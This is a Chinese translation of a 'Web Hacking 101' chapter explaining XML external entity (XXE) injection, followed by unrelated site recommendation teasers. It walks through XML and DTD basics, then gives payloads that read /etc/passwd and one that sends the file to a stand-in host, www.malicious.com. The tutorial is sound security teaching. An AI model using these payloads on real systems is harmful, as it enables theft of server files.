Web Hacking 101 中文版 十四、XML 外部实体注入(一)

十四、XML 外部实体注入

作者:Peter Yaworski

译者:飞龙

协议:CC BY-NC-SA 4.0

XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好首先理解什么是 XML 和外部实体。

元语言是用于描述其它语言的语言,这就是 XML。它在 HTML 之后开发,来弥补 HTML 的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。房子,XML 用于定义数据如何被组织。

例如,HTML 中,你的标签为<title>, <h1>, <table>, <p>,以及其它。这些东西都用于定义内容如何展示。<title>用于定义页面的标题,<h1>标签定义了标题,<table>标签按行和列展示数据,并且<p>表示为简单文本。反之,XML 没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签,来描述展示的内容。这里是一个示例。

<?xml version="1.0" encoding="UTF-8"?> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

读完了之后,你可以大致猜测出 XML 文档的目的 -- 为了展示职位列表,但是如果它在 Web 页面上展示,你不知道它看起来是什么样。XML 的第一行是一个声明头部,表示 XML 的版本,以及编码类型。在编写此文的时候,XML 有两个版本,1.0 和 1.1。它们的具体区别超出了本书范围,因为它们在你渗透的时候没什么影响。

在初始的头部之后,标签<jobs>位于所有其它<job>标签的外面。<job>又包含<title><compensation><responsibilities>标签。现在如果是 HTML,一些标签并不需要(但最好有)闭合标签(例如<br>),但是所有 XML 标签都需要闭合标签。同样,选取上面的例子,<jobs>是个起始标签,</jobs>是对应的闭合标签。此外,每个标签都有名称,并且可以拥有属性。使用标签<job>,标签名称就是job,但是没有属性。另一方面,<responsibility>拥有名称responsibility,并拥有属性optional,由属性名称optional和值1组成。

由于任何人可以定义任何标签,问题就来了,如果标签可以是任何东西,任何一个人如何知道如何解析和使用 XML 文档?好吧,一个有效的 XML 文档之所以有效,是因为它遵循了 XML 的通用规则(我不需要列出它们,但是拥有闭合标签是一个前面提过的例子),并且它匹配了它的文档类型定义(DTD)。DTD 是我们继续深入的全部原因,因为它是允许我们作为黑客利用它的一个东西。

XML DTD 就像是所使用的标签的定义文档,并且由 XML 设计者或作者开发。使用上面的例子,我就是设计者,因为我在 XML 中定义了职位文档。DTD 定义了存在什么标签,它们拥有什么属性,以及其它元素里面有什么元素,以及其他。当你或者我创建自己的 DTD 时,一些已经格式化了,并且广泛用于 RSS、RDF、HL7 SGML/XML。以及其它。

下面是 DTD 文件的样子,它用于我的 XML。

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">

看一看这个,你可能猜到了它大部分是啥意思。我们的jobs标签实际上是 XML !ELEMENT,并且可以包含job元素。job是个!ELEMENT,可以包含标题、薪资和职责,这些也都是!ELEMENT,并且只能包含字符数据(#PCDATA)。最后,!ELEMENT responsibility拥有一个可选属性(!ATTLIST),默认值为 0。

并不是很难吧?除了 DTD,还有两种还未讨论的重要标签,!DOCTYPE!ENTITY。到现在为止,我只说了 DTD 文件是我们 XML 的扩展。要记住上面的第一个例子,XML 文档并不包含标签定义,它由我们第二个例子的 DTD 来完成。但是,我们可以将 DTD 包含在 XML 文档内,并且这样做之后, XML 的第一行必须是<!DOCTYPE>元素。将我们的两个例子组合起来,我们就会得到这样的文档:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

这里,我们拥有了内部 DTD 声明。要注意我们仍然使用一个声明头部开始,表示我们的文档遵循 XML 1.0 和 UTF8 编码。但是之后,我们为 XML 定义了要遵循的DOCTYPE。使用外部 DTD 是类似的,除了!DOCTYPE<!DOCTYPE note SYSTEM "jobs.dtd">。XML 解析器在解析 XML 文件时,之后会解析jobs.dtd的内容。这非常重要,因为!ENTITY标签被近似处理,并且是我们利用的关键。

XML 实体像是一个信息的占位符。再次使用我们之前的例子。,如果我们想让每个职位都包含到我们网站的链接,每次都编写地址简直太麻烦了,尤其是 URL 可能改变的时候。反之,我们可以使用!ENTITY,并且让解析器在解析时获取内容,并插入到文档中。你可以看看我们在哪里这样做。

与外部 DTD 文档类似,我们可以更新我们的 XML 文档来包含这个想法:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]> 

<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>

这里你会注意到,我继续并添加了Website!ELEMENT,但是不是#PCDATA,而是ANY。这意味着Website可以包含任何可解析的数据组合。我也定义了一个!ENTITY,带有SYSTEM属性,告诉解析器获取wensite.txt文件的数据。现在一切都清楚了。

将它们放到一起,如果我包含了/etc/passwd,而不是website.txt,你觉得会发生什么?你可能户菜刀,我们的 XML 会被解析,并且服务器敏感文件/etc/passwd的内容会包含进我们的内容。但是我们是 XML 的作者,所以为什么要这么做呢?

好吧。当受害者的应用可以滥用,在 XML 的解析中包含这种外部实体时,XXE 攻击就发生了。换句话说,应用有一些 XML 预期,但是在接收时却不验证它。所以,只是解析他所得到的东西。例如,假设我正在运行一个职位公告板,并允许你注册并通过 XML 上传职位。开发我的应用时,我可能使我的 DTD 文件可以被你访问,并且假设你提交了符合需求的文件。我没有意识到它的危险,决定天真地解析收到的内容,并没有任何验证。但是作为一个黑客,你决定提交:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]> 
<foo>&xxe;</foo>

就像你现在了解的那样,当这个文件被解析时,我的解析器会收到它,并且看到内部 DTD 定义了foo文档类型,告诉它foo可以包含任何可解析的数据,并且有个!ENTITY xxe,它应该读取我的/etc/passwd文件(file://的用法表示/etc/passwd的完整的文件 URL 路径),并会将&xxe;替换为这个文件的内容。之后你以定义<foo>标签的有效 XML 结束了它,这会打印出我的服务器数据。这就是 XXE 危险的原因。

但是等一下,还有更多的东西。如果应用不打印出回应,而是仅仅解析你的内容会怎么样?使用上面的例子,内容会解析但是永远不会反回给我们。好吧,如果我们不包含本地文件,而是打算和恶意服务器通信会怎么样?像是这样:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > 
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> 
]> 
<foo>&callhome;</foo>

在解释它之前,你可能已经注意到我在callhome URL 中使用了%来代替&%xxe。这是因为%用于实体在 DTD 定义内部被求值的情况,而&用于实体在 XML 文档中被求值的情况。现在,当 XML 文档被解析,callhome !ENTITY会读取/etc/passwd的内容,并远程调用http://www.malicous.com,将文件内容作为 URL 参数来发送,因为我们控制了该服务器,我们可以检查我们的日志,并且足够确保拥有了/etc/passwd的内容。Web 应用的游戏就结束了。

所以,站点如何防范 XXE 漏洞?它们可以禁止解析任何外部实体。

链接

查看 OWASP 外部实体(XXE)解析

XXE 速查表

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容